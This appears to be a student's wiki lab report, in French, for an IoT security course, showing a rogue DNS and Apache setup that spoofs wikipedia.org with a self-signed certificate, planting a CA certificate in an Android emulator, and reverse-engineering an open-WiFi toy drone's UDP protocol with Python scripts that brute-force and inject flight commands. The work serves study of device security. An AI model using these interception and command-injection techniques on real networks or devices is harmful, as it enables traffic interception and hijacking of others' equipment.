« SE5 IdO sécurité des objets 2025/2026 b3 » : différence entre les versions
| (23 versions intermédiaires par le même utilisateur non affichées) | |||
| Ligne 1 : | Ligne 1 : | ||
=== Création de la machine virtuelle === | === Création de la machine virtuelle === | ||
<syntaxhighlight lang="c"> | |||
xen-create-image --hostname=SE5-handrian --dhcp --bridge=bridgeStudents --dir=/usr/local/xen --size=10GB --dist=daedalus --memory=1024M | xen-create-image --hostname=SE5-handrian --dhcp --bridge=bridgeStudents --dir=/usr/local/xen --size=10GB --dist=daedalus --memory=1024M | ||
</syntaxhighlight> | |||
=== Configuration VM === | === Configuration VM === | ||
< | <syntaxhighlight lang="c"> | ||
# This file describes the network interfaces available on your system | |||
# and how to activate them. For more information, see interfaces(5). | |||
# The loopback network interface | |||
auto lo | auto lo | ||
| Ligne 13 : | Ligne 16 : | ||
iface lo inet loopback | iface lo inet loopback | ||
# The primary network interface | |||
auto eth0 | auto eth0 | ||
| Ligne 28 : | Ligne 31 : | ||
#VLAN411 | |||
auto eth1 | auto eth1 | ||
| Ligne 34 : | Ligne 37 : | ||
iface eth1 inet static | iface eth1 inet static | ||
address 172.16.11. | address 172.16.11.1 | ||
netmask 255.255.255.0 | netmask 255.255.255.0 | ||
</syntaxhighlight> | |||
=== Capbreton === | === Capbreton === | ||
< | <syntaxhighlight lang="c"> | ||
# Networking | |||
# | |||
dhcp = 'dhcp' | dhcp = 'dhcp' | ||
| Ligne 49 : | Ligne 54 : | ||
'mac=00:16:3E:1A:68:1F,bridge=g3_handrian'] | 'mac=00:16:3E:1A:68:1F,bridge=g3_handrian'] | ||
# | |||
Configuration | |||
auto Trunk.411 | auto Trunk.411 | ||
| Ligne 68 : | Ligne 74 : | ||
bridge_ports Trunk.411 | bridge_ports Trunk.411 | ||
up ip link set $IFACE up | up ip link set $IFACE up | ||
down ip link set $IFACE down | down ip link set $IFACE down | ||
</syntaxhighlight> | |||
== Sécurisation WiFi par WPA2-PSK == | == Sécurisation WiFi par WPA2-PSK == | ||
| Ligne 174 : | Ligne 181 : | ||
== Serveur Apache sécurisé == | == Serveur Apache sécurisé == | ||
=== Génération du certificat | === Génération du certificat auto-signé Apache === | ||
<syntaxhighlight> | <syntaxhighlight> | ||
openssl req -x509 -nodes -days 365 \ | openssl req -x509 -nodes -days 365 \ | ||
| Ligne 205 : | Ligne 212 : | ||
</VirtualHost> | </VirtualHost> | ||
</syntaxhighlight>Pour activer<syntaxhighlight lang="c"> | </syntaxhighlight> | ||
==== Pour activer ==== | |||
<syntaxhighlight lang="c"> | |||
a2ensite site-se5.conf | a2ensite site-se5.conf | ||
service apache2 reload | service apache2 reload | ||
</syntaxhighlight>Pour | </syntaxhighlight>Pour vérifier l'écoute du port 443<syntaxhighlight lang="c"> | ||
# ss -tulpn | grep 443 | # ss -tulpn | grep 443 | ||
tcp LISTEN 0 128 *:443 *:* users:(("apache2",pid=5394,fd=6),("apache2",pid=5393,fd=6),("apache2",pid=5390,fd=6)) | tcp LISTEN 0 128 *:443 *:* users:(("apache2",pid=5394,fd=6),("apache2",pid=5393,fd=6),("apache2",pid=5390,fd=6)) | ||
</syntaxhighlight> | </syntaxhighlight> | ||
== Machine virtuelle android == | |||
=== Installation de la machine virtuelle Android === | |||
==== 1ère tentative avec QEMU : Création disque ==== | |||
<syntaxhighlight lang="c"> | |||
qemu-img create -f qcow2 android.qcow2 16G | |||
Formatting 'android.qcow2', fmt=qcow2 cluster_size=65536 extended_l2=off compression_type=zlib size=17179869184 lazy_refcounts=off refcount_bits=16 | |||
</syntaxhighlight> | |||
===== Installation de l'android ===== | |||
<syntaxhighlight lang="c"> | |||
qemu-system-x86_64 \ | |||
-m 4096 \ | |||
-smp 4 \ | |||
-enable-kvm \ | |||
-drive file=android.qcow2,format=qcow2 \ | |||
-cdrom ~/Downloads/android-x86-9.0-r2.iso \ | |||
-boot d \ | |||
-net nic -net user | |||
</syntaxhighlight>Pour lancer l'android : <syntaxhighlight lang="c"> | |||
qemu-system-x86_64 -m 4096 -smp 4 -enable-kvm -drive file=android.qcow2,format=qcow2 -net nic -net user | |||
</syntaxhighlight> | |||
==== 2ème tentative avec Android Studio ==== | |||
===== Installation d’Android Studio ===== | |||
J'ai installé Android Studio à partir du site officiel de Google. | |||
Après l’installation, les composants suivants ont été installés via le SDK Manager : | |||
* Android SDK Platform | |||
* Android SDK Platform-Tools | |||
* Android Emulator | |||
L’installation du SDK s’est déroulée sans erreur particulière | |||
Puis la création de l'AVD : | |||
* Modèle : Pixel 6 Pro | |||
* Version : API 31 Android 12 | |||
* Architecture : x86_64 | |||
== Mise en place du certificat == | |||
Première tentative avec les commandes suivantes :<syntaxhighlight lang="c"> | |||
adb root | |||
adb shell avbctl disable-verification | |||
adb reboot | |||
adb wait-for-device root | |||
adb remount | |||
adb push 500e3c27.0 /system/etc/security/cacerts | |||
adb shell chmod 664 /system/etc/security/cacerts/500e3c27.0 | |||
adb reboot | |||
</syntaxhighlight> | |||
=== Problèmes rencontrés === | |||
==== Accès root et système en lecture seule ==== | |||
Même lorsque l’accès ADB était fonctionnel, l’accès root était souvent limité. Les partitions système étaient en lecture seule et les tentatives de remount ('''adb remount''') ou de modification du système échouaient. | |||
=== Résolutions === | |||
Démarrage de l'émulateur en Cold Boot avec la commande : <syntaxhighlight lang="c"> | |||
emulator -avd Pixel_6_Pro -writable-system -no-snapshot-load | |||
</syntaxhighlight>Puis,<syntaxhighlight lang="c"> | |||
adb root | |||
adb disable-verity | |||
adb reboot | |||
adb root | |||
adb remount | |||
adb push 500e3c27.0 /system/etc/security/cacerts/ | |||
adb shell chmod 664 /system/etc/security/cacerts/500e3c27.0 | |||
adb reboot | |||
</syntaxhighlight>L'installation du certificat a été réalisée avec succès. Mais j'ai finalement laissé l'approche par machine virtuelle car le drone agit comme un point d'accès Wi-Fi donc j'ai privilégié l'analyse du trafic réel. J'ai utilisé mon téléphone pour envoyer les commandes de pilotage et l'ordinateur avec le Wipi et Wireshark pour intercepter et capturer les échanges de paquets entre le téléphone et le drone afin de repérer les octets de directions | |||
== Drone == | |||
=== Interface de l'application du drone "RC UFO" === | |||
[[Fichier:Drone.jpg|centré|vignette|480x480px]] | |||
Pour passe en mode "Monitor" j'ai utilisé la carte Wipi, pour pouvoir capturer les paquets et intercepter la communication entre le drone et le téléphone<syntaxhighlight lang="c"> | |||
airmon-ng start wlx40a5efd21166 | |||
</syntaxhighlight><syntaxhighlight lang="c"> | |||
airodump-ng -c 1 wlan0mon | |||
</syntaxhighlight>40:07:76:C0:20:23 -39 4 0 0 1 65 OPN WIFI_UFO_2320c0 <syntaxhighlight lang="c"> | |||
iwconfig wlan0mon channel 1 | |||
wireshark | |||
</syntaxhighlight>Ici, j'ai mis un filtre pour intercepter les paquets du drône :<syntaxhighlight lang="c"> | |||
wlan.addr == 40:07:76:C0:20:23 && wlan.fc.type == 2 && udp.port == 7099 | |||
</syntaxhighlight> | |||
* ne garde que les '''donnée''' (Data) | |||
* ne garde que ce qui passe par '''commandes''' | |||
[[Fichier:Wireshark.png|vignette|869x869px|néant]]Avec le filtre <code>wlan.addr == 40:07:76:C0:20:23 && wlan.fc.type == 2 && udp.port == 7099</code> Il y a le flux unidirectionnel émis par le smartphone (<code>192.168.1.100</code>) vers le drone (<code>192.168.1.1</code>). Les paquets capturés d'une longueur de 9 octets correspondent aux instructions de vol envoyées. | |||
Sur la trame sélectionnée (<code>03 66 80 80 ba 80 00 3a 99</code>) on peut identifier l'en-tête fixe (<code>03 66</code>), les axes au neutre (<code>0x80</code>), et la modification du '''4 ème octet''' (<code>0xC0</code>) qui correspond l'instruction '''<nowiki/>'décoller'''' | |||
=== Connexion Zabeth-Drone === | |||
Configuration wifi :<syntaxhighlight lang="c"> | |||
iface wlan1 inet static | |||
wireless-essid WIFI_UFO_2320c0 | |||
address 192.168.1.101/24 | |||
</syntaxhighlight>Vérification : | |||
<code>iwconfig</code><syntaxhighlight> | |||
wlan1 IEEE 802.11 ESSID:"WIFI_UFO_2320c0" | |||
Mode:Managed Frequency:2.412 GHz Access Point: 40:07:76:C0:20:23 | |||
Bit Rate=26 Mb/s Tx-Power=22 dBm | |||
Retry short limit:7 RTS thr:off Fragment thr:off | |||
Encryption key:off | |||
Power Management:on | |||
Link Quality=63/70 Signal level=-47 dBm | |||
Rx invalid nwid:0 Rx invalid crypt:0 Rx invalid frag:0 | |||
Tx excessive retries:0 Invalid misc:28 Missed beacon:0 | |||
</syntaxhighlight><code>ping 192.168.1.1</code><syntaxhighlight lang="c"> | |||
64 bytes from 192.168.1.1: icmp_seq=1 ttl=255 time=8.50 ms | |||
64 bytes from 192.168.1.1: icmp_seq=2 ttl=255 time=9.05 ms | |||
64 bytes from 192.168.1.1: icmp_seq=3 ttl=255 time=3.33 ms | |||
</syntaxhighlight> | |||
=== Tentatives de control du drône === | |||
==== Première tentative ==== | |||
À partir des captures Wireshark (voir Figure ci-dessus), j'ai isolé les trames UDP envoyées sur le port 7099. J'ai identifié la structure du paquet (Header <code>03 66</code>, Footer <code>99</code>) et les octets correspondant aux axes du joystick | |||
Pour le script de contrôle j'ai tenté de reproduire une commande de décollage : | |||
J'ai supposé un calcul par soustraction par rapport à la valeur neutre.<syntaxhighlight lang="py"> | |||
# SOCK_DGRAM = Protocole UDP | |||
client = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) | |||
# STOP | |||
# Tout est à 80 Checksum à 00 | |||
# Code : 03 66 80 80 80 80 00 00 99 | |||
cmd_stop = bytes.fromhex("036680808080000099") | |||
# decoller | |||
# 03 66 : Header | |||
# 80 : Joystick Gauche | |||
# C0 : Joystick Gauche | |||
# 80 : Joystick Droit (Avancer) | |||
# 80 : Joystick Droit | |||
# 00 : Boutons | |||
# 40 : Checksum (C0 - 80 = 40) | |||
# 99 : Fin | |||
cmd_decollage = bytes.fromhex("036680c08080004099") | |||
# atterissage | |||
cmd_baisse = bytes.fromhex("036680008080008099") # Coupe tout brutalement | |||
try: | |||
print("\ndemarage") | |||
print("decollage") | |||
t_end = time.time() + 3 | |||
while time.time() < t_end: | |||
client.sendto(cmd_decollage, (IP_DRONE, PORT)) | |||
time.sleep(0.05) # 20fois/s | |||
# arret | |||
print("stop") | |||
for i in range(20): | |||
client.sendto(cmd_stop, (IP_DRONE, PORT)) | |||
time.sleep(0.05) | |||
</syntaxhighlight>Cette tentative n'a pas permis de faire décoller le drone. Cela a indiqué deux choses : | |||
* le drone réagit bien aux envois de données | |||
* le calcul du Checksum était incorrect (le drone rejetait les paquets) | |||
* le décollage nécessite peut être un bouton pour pouvoir décoller | |||
==== Deuxième tentative ==== | |||
J'ai refait les captures de paquets sur wireshark en utilisant mon téléphone : | |||
[[Fichier:Wireshark3.png|néant|vignette|866x866px]] | |||
En analysant une trame valide capturée via Wireshark quand le drone est en mouvement j'ai recalculé : | |||
* Trame analysée : <code>03 66 80 82 7C 80 00 FE 99</code> | |||
* Calcul : <code>80 ^ 82 ^ 7C ^ 80 ^ 00 = FE</code> | |||
Donc utilisation de XOR pour valider | |||
===== Recherche du code de démarrage ===== | |||
Comme je n'ai pas d'information sur le code héxa qui correspond au bouton de décollage. J'ai écris un script Python d'attaque en force brute pour tester tous les boutons :<syntaxhighlight lang="py"> | |||
def envoyer_paquet(bouton_valeur): | |||
# Trame : Header + 4 axes neutres + bouton + checksum + footer | |||
# Axes neutres = 0x80 (128) | |||
header = [0x03, 0x66] | |||
data = [0x80, 0x80, 0x80, 0x80, bouton_valeur] | |||
# Calcul Checksum XOR | |||
checksum = 0 | |||
for b in data: | |||
checksum = checksum ^ b | |||
packet = bytes(header + data + [checksum] + [0x99]) | |||
client.sendto(packet, (IP_DRONE, PORT)) | |||
try: | |||
print("\n Initialisation (Neutre)...") | |||
for _ in range(20): | |||
envoyer_paquet(0x00) | |||
time.sleep(0.05) | |||
print("\nTest des boutons de démarrage...") | |||
#boutons les plus probables : 1, 2, 4, 8... | |||
bouton = [0x01, 0x02, 0x04, 0x08, 0x10, 0x20, 0x40, 0x80] | |||
for code in bouton: | |||
print(f"Test bouton code: {hex(code)} ...") | |||
t_fin = time.time() + 2 #2s | |||
while time.time() < t_fin: | |||
envoyer_paquet(code) | |||
time.sleep(0.05) | |||
# pause | |||
for _ in range(10): | |||
envoyer_paquet(0x00) | |||
time.sleep(0.05) | |||
print("\nTest terminé.") | |||
</syntaxhighlight>Lors de l'exécution du script le drone réagi immédiatement lorsque le script a testé la valeur '''0x01''' Donc, c'est surement le bouton de décollage | |||
===== Script de control et observation sur Wireshark ===== | |||
<syntaxhighlight lang="py"> | |||
import socket | |||
import time | |||
IP_DRONE = "192.168.1.1" | |||
PORT = 7099 | |||
MON_IP = "192.168.1.101" | |||
code_decollage = 0x01 | |||
client = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) | |||
client.bind((MON_IP, 0)) | |||
def commande(bouton): | |||
header = [0x03, 0x66] | |||
data = [0x80, 0x80, 0x80, 0x80, bouton] | |||
checksum = 0 | |||
for b in data: | |||
checksum = checksum ^ b | |||
return bytes(header + data + [checksum] + [0x99]) | |||
try: | |||
print(f"Lancement {hex(code_decollage)}") | |||
print("Connexion (Neutre)...") | |||
for _ in range(20): | |||
client.sendto(commande(0x00), (IP_DRONE, PORT)) | |||
time.sleep(0.05) | |||
print("Decollage") | |||
t_fin = time.time() + 2 | |||
while time.time() < t_fin: | |||
client.sendto(commande(code_decollage), (IP_DRONE, PORT)) | |||
time.sleep(0.05) | |||
print("Stop") | |||
for _ in range(30): | |||
client.sendto(commande(code_decollage), (IP_DRONE, PORT)) | |||
time.sleep(0.05) | |||
except KeyboardInterrupt: | |||
print("Arrêt urgence") | |||
finally: | |||
client.close() | |||
</syntaxhighlight>Lors du lancement du script (2 secondes de décollage) sur wireshark, le drone réagit enfin au script envoyé | |||
[[Fichier:14.png|néant|vignette|651x651px]] | |||
Version actuelle datée du 25 janvier 2026 à 22:29
Création de la machine virtuelle
xen-create-image --hostname=SE5-handrian --dhcp --bridge=bridgeStudents --dir=/usr/local/xen --size=10GB --dist=daedalus --memory=1024M
Configuration VM
# This file describes the network interfaces available on your system
# and how to activate them. For more information, see interfaces(5).
# The loopback network interface
auto lo
iface lo inet loopback
# The primary network interface
auto eth0
iface eth0 inet static
address 172.26.145.111
netmask 255.255.255.0
gateway 172.26.145.251
dns-nameservers 172.26.145.251
#VLAN411
auto eth1
iface eth1 inet static
address 172.16.11.1
netmask 255.255.255.0
Capbreton
# Networking
#
dhcp = 'dhcp'
vif = [ 'mac=00:16:3E:1A:68:1E,bridge=bridgeStudents' ,
'mac=00:16:3E:1A:68:1F,bridge=g3_handrian']
#
Configuration
auto Trunk.411
iface Trunk.411 inet manual
vlan-raw-device Trunk
up ip link set $IFACE up
down ip link set $IFACE down
auto g3_handrian
iface g3_handrian inet manual
bridge_ports Trunk.411
up ip link set $IFACE up
down ip link set $IFACE down
Sécurisation WiFi par WPA2-PSK
dot11 ssid SE5-handrian
vlan 411
authentication open
authentication key-management wpa
wpa-psk ascii 0 " "
mbssid guest-mode
exit
interface Dot11Radio1
encryption vlan 411 mode ciphers aes-ccm
ssid SE5-handrian
mbssid
no shutdown
exit
interface Dot11Radio1.411
encapsulation dot1Q 411
bridge-group 11
exit
interface GigabitEthernet0.411
encapsulation dot1Q 411
bridge-group 11
exitPour vérifier : ap# sh dot11 bssid
ap#sh dot11 bssid
Interface BSSID Guest SSID
Dot11Radio1 04da.d2d1.4bf0 Yes SE5-azongo
Dot11Radio1 04da.d2d1.4bf1 Yes SE5-crhanim
Dot11Radio1 04da.d2d1.4bf2 Yes SE5-handrianInstaller isc-dhcp-server dans la VM : /etc/dhcp/dhcpd.conf
subnet 172.16.11.0 netmask 255.255.255.0 {
range 172.16.11.100 172.16.11.200;
option routers 172.16.11.1;
#option routers rtr-239-0-1.example.org, rtr-239-0-2.example.org;
option domain-name-servers 172.16.11.1;
}dans /etc/default/isc-dhcp-server : INTERFACESv4="eth1"
dans /etc/sysctl.conf : décommenter : net.ipv4.ip_forward=1
sysctl -p /etc/sysctl.conf : pour recharger configuration sysctl.
sysctl net.ipv4.ip_forward : pour vérifier
Interception de flux
Redirection par DNS
Modification du fichier /etc/bind/named.conf.local
//
// Do any local configuration here
//
// Consider adding the 1918 zones here, if they are not used in your
// organization
//include "/etc/bind/zones.rfc1918";
zone "wikipedia.org" {
type master;
file "/etc/bind/db.wikipedia.org";
};
Création de la zone db.wikipedia.org
$TTL 604800
@ IN SOA ns.wikipedia.org. admin.wikipedia.org. (
10 ; Serial
604800 ; Refresh
86400 ; Retry
2419200 ; Expire
604800 ) ; Negative Cache TTL
;
@ IN NS ns.wikipedia.org.
ns IN A 172.16.11.1
@ IN A 172.16.11.1
www IN A 172.16.11.1
Redirection réseau
iptables -t nat -A PREROUTING -i eth0 -p tcp --dport 80 -j REDIRECT --to-ports 8080
iptables -t nat -L -n -v
Chain PREROUTING (policy ACCEPT 0 packets, 0 bytes)
pkts bytes target prot opt in out source destination
0 0 REDIRECT 6 -- eth0 * 0.0.0.0/0 0.0.0.0/0 tcp dpt:80 redir ports 8080
Chain INPUT (policy ACCEPT 0 packets, 0 bytes)
pkts bytes target prot opt in out source destination
Chain OUTPUT (policy ACCEPT 0 packets, 0 bytes)
pkts bytes target prot opt in out source destination
Chain POSTROUTING (policy ACCEPT 0 packets, 0 bytes)
pkts bytes target prot opt in out source destination
5 1468 MASQUERADE 0 -- * * 172.16.11.0/24 0.0.0.0/0
Serveur Apache sécurisé
Génération du certificat auto-signé Apache
openssl req -x509 -nodes -days 365 \
-newkey rsa:2048 \
-keyout /etc/ssl/apache/apache-selfsigned.key \
-out /etc/ssl/apache/apache-selfsigned.crt \
-subj "/C=FR/ST=Nord/L=Lille/O=Polytech/CN=wikipedia.org"Configuration Apache
<VirtualHost *:443>
ServerName wikipedia.org
DocumentRoot /var/www/html
SSLEngine on
SSLCertificateFile /etc/ssl/apache/apache-selfsigned.crt
SSLCertificateKeyFile /etc/ssl/apache/apache-selfsigned.key
ErrorLog ${APACHE_LOG_DIR}/site-error.log
CustomLog ${APACHE_LOG_DIR}/site-access.log combined
</VirtualHost>
<VirtualHost *:80>
ServerName wikipedia.org
Redirect permanent / https://wikipedia.org/
</VirtualHost>
Pour activer
a2ensite site-se5.conf
service apache2 reload
Pour vérifier l'écoute du port 443
# ss -tulpn | grep 443
tcp LISTEN 0 128 *:443 *:* users:(("apache2",pid=5394,fd=6),("apache2",pid=5393,fd=6),("apache2",pid=5390,fd=6))
Machine virtuelle android
Installation de la machine virtuelle Android
1ère tentative avec QEMU : Création disque
qemu-img create -f qcow2 android.qcow2 16G
Formatting 'android.qcow2', fmt=qcow2 cluster_size=65536 extended_l2=off compression_type=zlib size=17179869184 lazy_refcounts=off refcount_bits=16
Installation de l'android
qemu-system-x86_64 \
-m 4096 \
-smp 4 \
-enable-kvm \
-drive file=android.qcow2,format=qcow2 \
-cdrom ~/Downloads/android-x86-9.0-r2.iso \
-boot d \
-net nic -net user
Pour lancer l'android :
qemu-system-x86_64 -m 4096 -smp 4 -enable-kvm -drive file=android.qcow2,format=qcow2 -net nic -net user
2ème tentative avec Android Studio
Installation d’Android Studio
J'ai installé Android Studio à partir du site officiel de Google.
Après l’installation, les composants suivants ont été installés via le SDK Manager :
- Android SDK Platform
- Android SDK Platform-Tools
- Android Emulator
L’installation du SDK s’est déroulée sans erreur particulière
Puis la création de l'AVD :
- Modèle : Pixel 6 Pro
- Version : API 31 Android 12
- Architecture : x86_64
Mise en place du certificat
Première tentative avec les commandes suivantes :
adb root
adb shell avbctl disable-verification
adb reboot
adb wait-for-device root
adb remount
adb push 500e3c27.0 /system/etc/security/cacerts
adb shell chmod 664 /system/etc/security/cacerts/500e3c27.0
adb reboot
Problèmes rencontrés
Accès root et système en lecture seule
Même lorsque l’accès ADB était fonctionnel, l’accès root était souvent limité. Les partitions système étaient en lecture seule et les tentatives de remount (adb remount) ou de modification du système échouaient.
Résolutions
Démarrage de l'émulateur en Cold Boot avec la commande :
emulator -avd Pixel_6_Pro -writable-system -no-snapshot-load
Puis,
adb root
adb disable-verity
adb reboot
adb root
adb remount
adb push 500e3c27.0 /system/etc/security/cacerts/
adb shell chmod 664 /system/etc/security/cacerts/500e3c27.0
adb reboot
L'installation du certificat a été réalisée avec succès. Mais j'ai finalement laissé l'approche par machine virtuelle car le drone agit comme un point d'accès Wi-Fi donc j'ai privilégié l'analyse du trafic réel. J'ai utilisé mon téléphone pour envoyer les commandes de pilotage et l'ordinateur avec le Wipi et Wireshark pour intercepter et capturer les échanges de paquets entre le téléphone et le drone afin de repérer les octets de directions
Drone
Interface de l'application du drone "RC UFO"
Pour passe en mode "Monitor" j'ai utilisé la carte Wipi, pour pouvoir capturer les paquets et intercepter la communication entre le drone et le téléphone
airmon-ng start wlx40a5efd21166
airodump-ng -c 1 wlan0mon
40:07:76:C0:20:23 -39 4 0 0 1 65 OPN WIFI_UFO_2320c0
iwconfig wlan0mon channel 1
wireshark
Ici, j'ai mis un filtre pour intercepter les paquets du drône :
wlan.addr == 40:07:76:C0:20:23 && wlan.fc.type == 2 && udp.port == 7099
- ne garde que les donnée (Data)
- ne garde que ce qui passe par commandes
Avec le filtre wlan.addr == 40:07:76:C0:20:23 && wlan.fc.type == 2 && udp.port == 7099 Il y a le flux unidirectionnel émis par le smartphone (192.168.1.100) vers le drone (192.168.1.1). Les paquets capturés d'une longueur de 9 octets correspondent aux instructions de vol envoyées.
Sur la trame sélectionnée (03 66 80 80 ba 80 00 3a 99) on peut identifier l'en-tête fixe (03 66), les axes au neutre (0x80), et la modification du 4 ème octet (0xC0) qui correspond l'instruction 'décoller'
Connexion Zabeth-Drone
Configuration wifi :
iface wlan1 inet static
wireless-essid WIFI_UFO_2320c0
address 192.168.1.101/24
Vérification :
iwconfig
wlan1 IEEE 802.11 ESSID:"WIFI_UFO_2320c0"
Mode:Managed Frequency:2.412 GHz Access Point: 40:07:76:C0:20:23
Bit Rate=26 Mb/s Tx-Power=22 dBm
Retry short limit:7 RTS thr:off Fragment thr:off
Encryption key:off
Power Management:on
Link Quality=63/70 Signal level=-47 dBm
Rx invalid nwid:0 Rx invalid crypt:0 Rx invalid frag:0
Tx excessive retries:0 Invalid misc:28 Missed beacon:0ping 192.168.1.1
64 bytes from 192.168.1.1: icmp_seq=1 ttl=255 time=8.50 ms
64 bytes from 192.168.1.1: icmp_seq=2 ttl=255 time=9.05 ms
64 bytes from 192.168.1.1: icmp_seq=3 ttl=255 time=3.33 ms
Tentatives de control du drône
Première tentative
À partir des captures Wireshark (voir Figure ci-dessus), j'ai isolé les trames UDP envoyées sur le port 7099. J'ai identifié la structure du paquet (Header 03 66, Footer 99) et les octets correspondant aux axes du joystick
Pour le script de contrôle j'ai tenté de reproduire une commande de décollage :
J'ai supposé un calcul par soustraction par rapport à la valeur neutre.
# SOCK_DGRAM = Protocole UDP
client = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
# STOP
# Tout est à 80 Checksum à 00
# Code : 03 66 80 80 80 80 00 00 99
cmd_stop = bytes.fromhex("036680808080000099")
# decoller
# 03 66 : Header
# 80 : Joystick Gauche
# C0 : Joystick Gauche
# 80 : Joystick Droit (Avancer)
# 80 : Joystick Droit
# 00 : Boutons
# 40 : Checksum (C0 - 80 = 40)
# 99 : Fin
cmd_decollage = bytes.fromhex("036680c08080004099")
# atterissage
cmd_baisse = bytes.fromhex("036680008080008099") # Coupe tout brutalement
try:
print("\ndemarage")
print("decollage")
t_end = time.time() + 3
while time.time() < t_end:
client.sendto(cmd_decollage, (IP_DRONE, PORT))
time.sleep(0.05) # 20fois/s
# arret
print("stop")
for i in range(20):
client.sendto(cmd_stop, (IP_DRONE, PORT))
time.sleep(0.05)
Cette tentative n'a pas permis de faire décoller le drone. Cela a indiqué deux choses :
- le drone réagit bien aux envois de données
- le calcul du Checksum était incorrect (le drone rejetait les paquets)
- le décollage nécessite peut être un bouton pour pouvoir décoller
Deuxième tentative
J'ai refait les captures de paquets sur wireshark en utilisant mon téléphone :
En analysant une trame valide capturée via Wireshark quand le drone est en mouvement j'ai recalculé :
- Trame analysée :
03 66 80 82 7C 80 00 FE 99 - Calcul :
80 ^ 82 ^ 7C ^ 80 ^ 00 = FE
Donc utilisation de XOR pour valider
Recherche du code de démarrage
Comme je n'ai pas d'information sur le code héxa qui correspond au bouton de décollage. J'ai écris un script Python d'attaque en force brute pour tester tous les boutons :
def envoyer_paquet(bouton_valeur):
# Trame : Header + 4 axes neutres + bouton + checksum + footer
# Axes neutres = 0x80 (128)
header = [0x03, 0x66]
data = [0x80, 0x80, 0x80, 0x80, bouton_valeur]
# Calcul Checksum XOR
checksum = 0
for b in data:
checksum = checksum ^ b
packet = bytes(header + data + [checksum] + [0x99])
client.sendto(packet, (IP_DRONE, PORT))
try:
print("\n Initialisation (Neutre)...")
for _ in range(20):
envoyer_paquet(0x00)
time.sleep(0.05)
print("\nTest des boutons de démarrage...")
#boutons les plus probables : 1, 2, 4, 8...
bouton = [0x01, 0x02, 0x04, 0x08, 0x10, 0x20, 0x40, 0x80]
for code in bouton:
print(f"Test bouton code: {hex(code)} ...")
t_fin = time.time() + 2 #2s
while time.time() < t_fin:
envoyer_paquet(code)
time.sleep(0.05)
# pause
for _ in range(10):
envoyer_paquet(0x00)
time.sleep(0.05)
print("\nTest terminé.")
Lors de l'exécution du script le drone réagi immédiatement lorsque le script a testé la valeur 0x01 Donc, c'est surement le bouton de décollage
Script de control et observation sur Wireshark
import socket
import time
IP_DRONE = "192.168.1.1"
PORT = 7099
MON_IP = "192.168.1.101"
code_decollage = 0x01
client = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
client.bind((MON_IP, 0))
def commande(bouton):
header = [0x03, 0x66]
data = [0x80, 0x80, 0x80, 0x80, bouton]
checksum = 0
for b in data:
checksum = checksum ^ b
return bytes(header + data + [checksum] + [0x99])
try:
print(f"Lancement {hex(code_decollage)}")
print("Connexion (Neutre)...")
for _ in range(20):
client.sendto(commande(0x00), (IP_DRONE, PORT))
time.sleep(0.05)
print("Decollage")
t_fin = time.time() + 2
while time.time() < t_fin:
client.sendto(commande(code_decollage), (IP_DRONE, PORT))
time.sleep(0.05)
print("Stop")
for _ in range(30):
client.sendto(commande(code_decollage), (IP_DRONE, PORT))
time.sleep(0.05)
except KeyboardInterrupt:
print("Arrêt urgence")
finally:
client.close()
Lors du lancement du script (2 secondes de décollage) sur wireshark, le drone réagit enfin au script envoyé